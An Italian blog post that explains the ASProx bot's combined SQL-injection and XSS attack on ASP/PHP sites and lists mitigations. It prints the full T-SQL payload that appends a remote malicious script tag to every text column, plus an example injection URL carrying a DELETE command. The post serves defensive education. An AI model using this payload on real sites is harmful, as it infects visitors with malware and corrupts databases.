In questi giorni ho assistito al propagarsi di un tipo particolare di attacco verso siti web che sono vulnerabili alla SQL-Injection. Si tratta di un attacco che, sfruttando XSS (Cross Site Scripting), comporta l'attivazione di un malware nel computer del visitatore del sito corrotto. In molti casi l'attivazione del malware viene intercettata dal software antivirus di turno, ma non sempre è così.

L'attacco è portato avanti da un bot noto col nome di ASProx che attacca siti realizzati in ASP, ASP.NET e PHP e utilizza la tecnica DNS Fast-Fluxing per nascondere le locazioni da cui provengono il malware e gli script responsabili della XSS. ASProx sfrutta principalmente due vulnerabilità nei siti target: 1) l'uso di un account dbowner per la connessione al database, 2) la costruzione delle stringhe SQL basata su semplice concatenazione. Queste vulnerabilità vengono usate dal bot per eseguire uno scan del database alla ricerca dei campi testuali dove inserire una stringa del tipo "<script src="http://sitoremoto/ngg.js"></script>". Chiaramente il file "ngg.js" contiene lo script responsabile del caricamento del malware dalla locazione remota nel computer client.

Il fatto che nell'applicazione web la connessione al database sia eseguita con un utente dbowner consente di poter effettuare l'infezione dei campi testuali recuperando le informazioni dalle tabelle di sistema. Di fatto viene lanciato su SQL Server un comando T-SQL simile al seguente:

DECLARE @Table VARCHAR(255)
DECLARE @Column VARCHAR(255)

DECLARE cur CURSOR FOR
SELECT [SO].[Name], [SC].[Name]
FROM sysobjects AS [SO], syscolumns AS [SC]
WHERE ([SO].[ID] = [SC].[ID]) AND ([SO].[XType] = 'U') AND
([SC].[XType] = 99 OR [SC].[XType] = 35 OR [SC].[XType] = 231 OR [SC].[XType] = 167)

OPEN cur
FETCH NEXT FROM cur INTO @Table,@Column

WHILE (@@FETCH_STATUS = 0)
BEGIN
EXEC('UPDATE [' + @Table + '] SET [' + @Column + '] = RTRIM(CONVERT(VARCHAR, [' + @Column + '])) + ''<script src="http://sitoremoto/ngg.js"></script>''')
FETCH NEXT FROM cur INTO @Table, @Column
END

CLOSE cur
DEALLOCATE cur

Questo comando interroga le tabelle sysobjects e syscolumns alla ricerca dei campi VARCHAR, NVARCHAR, TEXT e NTEXT ed effettua una concatenazione del testo originale con il testo contenente il tag <script />. Il comando viene passato al database agganciandolo alle richieste HTTP di tipo GET. Infatti, dal momento del sito target è vulnerabile alla SQL-Injection, diventa quasi immediato poter eseguire un comando SQL aggiuntivo in quelle pagine che accettano parametri sulla querystring (esempio: "http://www.sitotarget.com/page.aspx?id=1;DELETE FROM Table1;--").

Per poter mitigare la vulnerabilità a questo tipo di attacco che combina SQL-Injection e XSS, occorre: 1) usare per la connessione al database account a privilegi minimi (non dbowner, ma dbdatareader ed eventualmente dbdatawriter), 2) gestire i GRANT sul database in modo consono in base a ciò che l'applicazione deve fare, 3) usare SEMPRE i parametri per la costruzione dei comandi SQL (sono assolutamente da evitare le situazioni del tipo: "SELECT * FROM Table1 WHERE Id=" + Request.QueryString["id"]), 4) validare l'input in modo tale il tipo atteso per i vari parametri sia effettivamente quello passato (se "id" deve essere numerico, occorre verificare che il dato passato sia effettivamente intero), 5) eseguire l'encoding dei valori sulla querystring.

Nonostante le innumerevoli circostanze in cui si è avuto modo di ricordare (anche su ASPItalia.com con i due articoli usciti nel gennaio scorso disponibili qui e qui) quanto sia importante tenere in considerazione l'aspetto della sicurezza applicativa nello sviluppo di applicazioni web, il grande numero di siti corrotti dal bot ASProx che ho avuto modo di vedere in questi giorni mi ha fatto pensare che forse il messaggio è ben lungi dall'essere stato recepito. Troppe volte le problematiche relative alla sicurezza sono sottovalutate o non considerate in toto. Lo vedo dai clienti oppure parlando con gli sviluppatori che mi capita di incontrare. E' un grave errore non gestire le problematiche di sicurezza come un requisito architetturale fondamentale. Prima o poi (come nel caso di ASProx) i nodi vengono al pettine e, quando capita, nella maggior parte dei casi sono dolori!

LA SICUREZZA APPLICATIVA NON E' UN OPTIONAL, MA SEMPRE E COMUNQUE UN REQUISITO FONDAMENTALE!

Meditate, gente, meditate!